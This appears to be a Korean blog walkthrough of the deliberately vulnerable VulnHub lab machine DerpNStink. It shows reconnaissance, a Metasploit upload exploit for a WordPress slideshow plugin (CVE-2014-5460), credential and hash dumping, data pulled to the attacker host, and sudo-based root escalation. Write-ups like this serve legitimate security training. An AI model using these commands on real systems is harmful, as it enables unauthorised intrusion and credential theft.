Vulnhub

[Vulnhub] DerpNStink Walkthrough

jeff_kim 2024. 7. 15. 19:12

https://www.vulnhub.com/entry/derpnstink-1,221/

 

DerpNStink: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Information Gathering

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.206
Host is up (0.00027s latency).
MAC Address: 08:00:27:11:4D:A8 (Oracle VirtualBox virtual NIC)

 

 

FTP

Null Session and anonymous session failed

 

 

HTTP

robots.txt 가 존재합니다.

허용되지 않는 디렉터리 경로는 /php, /temporary 라고 하네요

페이지 소스에 /webnotes 경로 노출

gobuster, drib, nikto 툴을 사용해서 잠재적 취약점 진단

nikto
gobuster
drib

 

/weblog 디렉터리에 wordpress, /php 밑에 phpmyadmin 관리자 패널이 있네요

하나씩 접속해봅니다

default credentials failed

 

 

페이지 소스에서 찾았던 /webnotes 

쉘에서 있었던 것을 그대로 복사해서 붙여 넣은 듯하다

/etc/hosts 파일을 업데이트 해줍니다

 

기본 페이지에서 프록시를 하니 첫번째 flag 값을 준다

# first flag
flag1(zzZZzZ)

 

/weblog -> wordpress

 

Vulnerability

wpsan을 이용한 취약점 진단 실시

└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate | tee ./recon/wpscan_res

admin 유저만 존재하는 것을 확인

 

보통 로그인할때 default credential 이나 이런것을 검색해서 한번씩 해보는데 이번에는 admin:admin 을 시도해서 로그인을 성공했다.

 

slideshow 라는 플러그인이 있나봅니다 wpscan에서 옵션을 변경해 다시 검색해보겠습니다

└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate ap, vp

slideshow-gallery는 버전이 1.4.6 인거같습니다

searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾아봅니다

CVE-2014-5460 코드를 가지고 있는 공개 취약점입니다.

 

 

Exploitation

metasploit 툴을 이용해 익스플로잇을 실시합니다

msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set rhosts 192.168.45.206
rhosts => 192.168.45.206         
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
targeturi => /weblog
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
wp_password => admin                                                          
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
wp_user => admin                                                              
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set lhost 192.168.45.219
lhost => 192.168.45.219

대상 호스트 초기 침투에 성공했습니다

 

 

Post-Exploitation

/etc/passwd

wp-config.php

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| wordpress          |
+--------------------+
5 rows in set (0.00 sec)
mysql> use mysql;
mysql> show tables;                                                                                                                                          
mysql> select User,Password from user;
select User,Password from user;
+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky      | *9B776AFB479B31E8047026F1185E952DD1E530CB |
| phpmyadmin       | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
+------------------+-------------------------------------------+
7 rows in set (0.00 sec)

 

unclestinky 유저 비밀번호 복호화 하기 전에 어떤 해시 인지 파악한다

 

# credentials

stinky:wedgie57

SSH 접속 해보겠습니다

비밀번호 로그인은 안되고 공개키 방식으로 로그인만 가능합니다 그렇다면 풀지못한 숙제 ftp로 갑니다

 

 

Privilege Escalaion

file에 ssh 디렉터리에서 장난을 쳐놨군요,, 쨋든 모든 파일을 가져왔습니다

 

└─$ cat derpissues.txt 
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay

# private key
└─$ cat key.txt 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwSaN1OE76mjt64fOpAbKnFyikjz4yV8qYUxki+MjiRPqtDo4
2xba3Oo78y82svuAHBm6YScUos8dHUCTMLA+ogsmoDaJFghZEtQXugP8flgSk9cO
...
...
...
a4Id4FlCiJAXl3/ayyrUghuWWA3jMW3JgZdMyhU3OV+wyZz25S8o
-----END RSA PRIVATE KEY-----

└─$ chmod 600 key.txt

└─$ ssh -i key.txt stinky@192.168.45.206

pcap 파일 발견 -> 대상 호스트에서 python을 이용하여 웹서버를 열어서 공격자 칼리로 파일을 전송

stinky@DeRPnStiNK:~/Documents$ python3 -m http.server 1111
Serving HTTP on 0.0.0.0 port 1111 ...
192.168.45.219 - - [12/Jul/2024 08:07:37] "GET /derpissues.pcap HTTP/1.1" 200 


└─$ wireshark derpissues.pcap

/weblog/wp-login.php에서 mrderp 유저로 로그인하는 패킷을 확인한 결과 계정 정보를 획득할 수 있었습니다

 

# Credentials

mrderp:derpderpderpderpderpderpderp

mrderp의 홈디렉터리에는 sudo에서 설정된 바이너리가 없다 

/bin/bash 바이너리를 실행하는 스크립트를 만들어 실행하여 관리자 권한을 획득 할 수 있게 진행한다

 

 

mrderp@DeRPnStiNK:~$ mkdir binaries; cd binaries
mrderp@DeRPnStiNK:~/binaries$ echo '/bin/bash' > derpy.sh; chmod +x derpy.sh
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh 
root@DeRPnStiNK:~/binaries# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
DeRPnStiNK
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:11:4d:a8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.206/24 brd 192.168.45.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe11:4da8/64 scope link 
       valid_lft forever preferred_lft forever

 

root@DeRPnStiNK:/root/Desktop# ls
flag.txt
root@DeRPnStiNK:/root/Desktop# cat flag.txt 
flag4(.....)

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!

@securekomodo

중간에 플래그를 계속 놓쳣네요,,,파일 플래그 형식을 아니깐 하나씩 찾아봅시다

 

# flag1
root@DeRPnStiNK:~# grep -r 'flag1' /var/www/html 2> /dev/null
/var/www/html/index.html:<--flag1(52E37291AEDF6A46D...F0E008CBA09D6E9166) -->

# flag2
flag2(a7d355b26bda6b...44407f1dc07e51e6)

# flag3
root@DeRPnStiNK:/# grep -r 'flag' /home 2> /dev/null 
/home/stinky/Desktop/flag.txt:flag3(07f62b02.....1847a11e11d6d5a7ecb)

# flag4
/root/Desktop/flag.txt:flag4(49dca65f362fee4.....589c52e4e66bf4aedda715fdd)

wordpress를 unclestinky 유저로 로그인하면 flag2가 뜨네요!

 

 

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16
[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Sar Walkthrough  (0) 2024.07.09